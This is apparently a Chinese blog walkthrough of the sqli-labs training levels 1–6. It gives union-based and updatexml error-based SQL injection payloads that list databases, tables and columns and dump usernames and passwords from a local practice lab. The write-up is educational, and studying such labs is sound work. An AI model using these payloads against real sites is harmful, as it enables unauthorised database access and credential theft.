sqli-labs-master less1-less6
目录
通关前必看
1、判断是否存在sql注入以及是字符型还是数值型:
2、各种注入方式以及方法
有回显型:
报错注入(只有'ok'和'no'的提示以及报错提示):
详细思路,后面的题都可以这样去思考
关卡实操
less1
less2
less3
less4
less5
less6
通关前必看
在这之前,需要掌握数据库的基本操作,对数据库有较好的了解(博主主页中有)
1、判断是否存在sql注入以及是字符型还是数值型:
方法:输入一个不会报错的值,然后在后面加上and 1=1 /and 1=2
比如127.0.0.1/sqli-labs-master/Less-1/?id= 当我们输入1时,不会报错,后面加上and 1=1,结果显示和之前一样(可以初步断定存在sql注入了),然后改成and 1=2,如果结果显示还是一样,可以断定这是字符型了,因为客户端将1=1和1=2当作字符处理了;如果结果发生了变化,则是数值型,因为1=2明显为假。
2、各种注入方式以及方法
有回显型:
1‘ order by n 通过改变n的值,可以判断出有几处回显(1为真,执行order语句),这里假设判断出来有三处回显。
-1’ union select 1,2,database() 爆出数据库名(-1为假,执行union语句;1和2只起占位作用,因为我们判断出来有三处回显,所以将没有使用的位置占位,1,2位置还可以写其他语句,比如-1‘ union select 1,version(),database(),则会在相应位置返回数据库版本,数据库名)
-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' 爆出表名,且在一行显示;
还可以用-1‘ union select 1,2,table_name from information_schema.tables where table_schema='数据库名' limit 0,1 (只能显示第一个表,通过改变limit 0,1 来获取更多表名)
-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名' 爆出某张表的字段名;
-1' union select 1,2,group_concat(id,username,password) from users --+爆出字段对应的数据;
报错注入(只有'ok'和'no'的提示以及报错提示):
先用sleep()延迟函数判断类型和闭合方式:?id=1 and sleep(5)--+如果有延迟则说明是数值型;如果没有延迟,说明是字符型。若是字符型,还需要判断闭合方式,同样的,假设是单引号闭合:?id=1' and sleep(5)--+ 如果有延迟,则假设正确……
固定语句:?id=1' and updatexml(1,concat(0x7e,( ),0x7e),1)--+中间的括号里面写需要执行的select语句。
详细思路,后面的题都可以这样去思考
关卡实操
less1
输入1有回显,加上and 1=1不报错,and1=2也不报错,且回显都一样,判断是字符型:

![]()

输入1’ 报错,判断是单引号闭合:

在后面加上--+(因为这里是get型传参,所以不用#来注释),发现回显正常:

开始爆破数据库:
?id=1' order by 3 --+回显正常,而?id=1' order by4 --+报错了,所以判断出这里有3处回显:

爆数据库名 ?id=0' union select 1,2,database()--+可以看到,在第三个回显处显示的是数据库名:security :

爆表名?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 可以看到,有emails,referers,uagents,users四张表:

爆字段名(以users表)为例?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+可以看到users表有id,username,password三个字段:

爆字段数据?id=0' union select 1,2,group_concat(id,username,password) from users --+

接下来的关卡我们用类似的方法,就不赘述了,主要是要判断出是字符型,还是数值型,是什么闭合,有没有括号。
less2
这里and 1=2 发现回显异常,所以判断出是数值型,所以就不用加引号来闭合了:

后面加上注释--+发现回显正常,说明没有括号:

接下来就是一样的方法来爆破数据库了,我们先判断有几处回显,order by 3时回显正常,order by 4时报错,所以有3处回显:

爆数据库名?id=0 union select 1,2,database()--+,注意这里由于是数值型,所以不加引号:

同样的方法爆出其他的数据:
表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0 union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less3
同样的方法,判断出这里是字符型且是单引号闭合,但是当我们加上注释--+后,还是报错了,说明这里可能还有括号没有闭合:

我们在引号后面加上一个右括号,发现回显正常了:

之后爆数据库:
?id=1') order by 3--+判断有三处回显
数据库名?id =0') union select 1,2,database()--+
表名:?id=0的') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0') union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less4
同样的方法判断出字符型;
当我们加上一个单引号后发现回显正常的,说明这里是双引号闭合(where id =" 1' "):

我们改成双引号id=1" 后发现报错了,所以确实是双引号闭合:

后面加上注释--+,发现报错,说明有括号没有闭合:

我们在双引号后面加上一个右括号,发现回显正常了:

接下来一样的方法爆数据库:
?id=1") order by 3--+判断有三处回显
数据库名:?id=0") union select 1,2,database()--+
表名:?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0") union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less5
这一关我们发现输入正确的值,只会返回you are in;输入错误的值就没有回显,语法错误就会报错,除此之外就没有其它信息了,所以就不能用union联合查询了。这里我们用报错注入。
同样的方法判断出这里是字符型,单引号闭合。
然后用updatexml()报错函数来爆破数据库:
固定语句结构就是这样的:?id=1' and updatexml(1,concat(0x7e,( ),0x7e),1)--+最中间的括号里填查询语句。
爆数据库名:?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

爆表名(只需要更改中间括号里面的内同容):?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

同样的方法爆字段名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1)--+
爆字段数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)--+
less6
同less5要用报错注入
同样的方法判断出这里是字符型,双引号闭合。
爆数据库名?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
爆字段名?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.colunms where table_name='表名'),0x7e),1)--+
爆字段数据?id=1" and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)
相关文章:
sqli-labs-master less1-less6
目录 通关前必看 1、判断是否存在sql注入以及是字符型还是数值型: 2、各种注入方式以及方法 有回显型: 报错注入(只有ok和no的提示以及报错提示): 详细思路,后面的题都可以这样去思考 关卡实操 less…...
力扣287【寻找重复数】
给定一个包含 n 1 个整数的数组 nums ,其数字都在 [1, n] 范围内(包括 1 和 n),可知至少存在一个重复的整数。 假设 nums 只有 一个重复的整数 ,返回 这个重复的数 。 你设计的解决方案必须 不修改 数组 nums 且只用常…...
【2024蓝桥杯/C++/B组/传送阵】
题目 问题代码 #include<bits/stdc.h> using namespace std;const int N 1e610; int n; int porter[N]; int ans; int sign[N]; bool used;void dfs(int now, int cnt) {if(sign[now] && used){ans max(ans, cnt);return;}if(!sign[now]){cnt, sign[now] 1; …...
(四十一)大数据实战——spark的yarn模式生产环境部署
前言 Spark 是一个开源的分布式计算系统。它提供了高效的数据处理能力,支持复杂的数据分析和处理任务,是一种基于内存的快速、通用、可扩展的大数据分析计算引擎。Spark Core:实现了Spark的基本功能,包含任务调度、内存管理、错误…...
【深度学习实战(53)】classification_report()
classification_report()是python在机器学习中常用的输出模型评估报告的方法。 classification_report()函数介绍 classification_report()语法如下:classification_report( y_true, y_pred, labelsNone, …...
计算机网络基础之网络套接字socket编程(初步认识UDP、TCP协议)
绪论 “宿命论是那些缺乏意志力的弱者的借口。 ——罗曼.罗兰”,本章是为应用层打基础,因为在写应用层时将直接通过文本和代码的形式来更加可视化的理解网络,本章主要写的是如何使用网络套接字和udp、tcp初步认识。 话不多说安…...
手撕Python!模块、包、库,傻傻分不清?一分钟带你弄明白!
哈喽,各位小伙伴们!今天咱们来聊聊Python中的模块、包和库,很多新手小白经常搞混,别担心,看完这篇,保证你一分钟就能搞定! 打个比方: 模块 (Module): 就好比是一块块乐高积木&#…...
Linux--序列化与反序列化
序列化 序列化是指将数据结构或对象状态转换成可以存储或传输的格式的过程。在序列化过程中,对象的状态信息被转换为可以保持或传输的格式(如二进制、XML、JSON等)。序列化后的数据可以被写入到文件、数据库、内存缓冲区中,或者通…...
使用C#和 aspose.total 实现替换pdf中的文字(外语:捷克语言的pdf),并生成新的pdf导出到指定路径
程序主入口: Program.cs using System; using System.Collections.Generic; using System.Configuration; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks;namespace PdfEditor {public class Progra…...
【Material-UI】Autocomplete中的高亮功能(Highlights)详解
文章目录 一、简介二、实现高亮功能示例代码代码解释 三、实际应用场景1. 搜索功能2. 表单自动完成 四、总结 在现代Web开发中,提供清晰的用户反馈是提升用户体验的重要组成部分。Material-UI的Autocomplete组件通过高亮功能,帮助用户快速识别搜索结果中…...
Android 11(R)启动流程 初版
启动流程 bootloader会去启动android第一个进程Idle,pid为0,会对进程 内存管理等进行初始化。Idle还被称作swapper。Idle会去创建两个进程,一个是init,另外一个是kthread。 kthread会去启动内核,用户是由init进行启动。…...
从零安装pytorch
背景介绍 目前主流使用的工具有Facebook搞的pythorch和谷歌开发的tensorflow两种,二者在实现理念上有一定区别,pytorch和人的思维模式与变成习惯更像,而tensorflow则是先构建整体结构,然后整体运行,开发调试过程较为繁…...
2024.07.28 校招 实习 内推 面经
绿*泡*泡VX: neituijunsir 交流*裙 ,内推/实习/校招汇总表格 1、自动驾驶一周资讯 - 特斯拉FSD年底入华?理想成立“端到端”实体组织;小马智行或最快于今年9月赴美IPO 自动驾驶一周资讯 - 特斯拉FSD年底入华?理想…...
python实现小游戏——植物大战僵尸(魔改版本)
制作一款DIY的‘植物大战僵尸’游戏引起了很多人的兴趣。在这里,我将分享一个使用Python语言在PyCharm环境中开发的初始状态版本。这个版本主要应用了pygame库来完成,是一个充满创意和趣味的魔改版本。 文章目录 前言一、开发环境准备二、代码1.main方法…...
基于K210智能人脸识别+车牌识别系统(完整工程资料源码)
运行效果: 基于K210的智能人脸与车牌识别系统工程 目录: 运行效果: 目录: 前言: 一、国内外研究现状与发展趋势 二、相关技术基础 2.1 人脸识别技术 2.2 车牌识别技术 三、智能小区门禁系统设计 3.1 系统设计方案 3.2 …...
8.怎么配嵌套子路由,以及它的作用
作用 配嵌套子路由,就是可以通过同一个页面,让不同的位置发生变化,其他的位置不会发生变化,而做到一个局部刷新 例子 红线框住的部分,头部和导航栏是不会发生变化的,变化的只有中间的内容 子路由的操作步骤 将这个页面的头部和导航栏部分的样式和风格,移到主路由上(<tem…...
【海贼王航海日志:前端技术探索】HTML你学会了吗?(二)
目录 1 -> HTML常见标签 1.1 -> 表格标签 1.1.1 -> 基本使用 1.1.2 -> 合并单元格 1.2 -> 列表标签 1.3 -> 表单标签 1.3.1 -> form标签 1.3.2 -> input标签 1.4 -> label标签 1.5 -> select标签 1.6 -> textarea标签 1.7 -> …...
体系结构论文导读(三十一)(下):Soft errors in DNN accelerators: A comprehensive review
第五部分:DNN加速器中的软错误 本部分回顾和分析了有关人工神经网络(ANN)可靠性的研究。特别是关注通过DNN加速器解决DNN可靠性的研究,从软错误的角度进行探讨。许多前期工作声称ANN本身对故障具有固有的容错能力。然而ÿ…...
Python在指定文件夹下创建虚拟环境
基于不同python版本和第三方包版本开发的项目,为了方便学习和管理python环境,可以在指定的文件夹里创建项目所需的虚拟环境。具体流程如下: (1) 以管理员身份打开Ananconda Prompt,查看当前虚拟环境,输入命令如下&…...
【SpringBoot】 定时任务之任务执行和调度及使用指南
【SpringBoot】 定时任务之任务执行和调度及使用指南 Spring框架分别通过TaskExecutor和TaskScheduler接口为任务的异步执行和调度提供了抽象。Spring还提供了支持应用程序服务器环境中的线程池或CommonJ委托的那些接口的实现。最终,在公共接口后面使用这些实现&…...
观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...
华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
Qt Widget类解析与代码注释
#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码,写上注释 当然可以!这段代码是 Qt …...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放
简介 前面两期文章我们介绍了I2S的读取和写入,一个是通过INMP441麦克风模块采集音频,一个是通过PCM5102A模块播放音频,那如果我们将两者结合起来,将麦克风采集到的音频通过PCM5102A播放,是不是就可以做一个扩音器了呢…...
Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)
目录 一、👋🏻前言 二、😈sinx波动的基本原理 三、😈波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、🌊波动优化…...
初学 pytest 记录
安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...
技术栈RabbitMq的介绍和使用
目录 1. 什么是消息队列?2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...
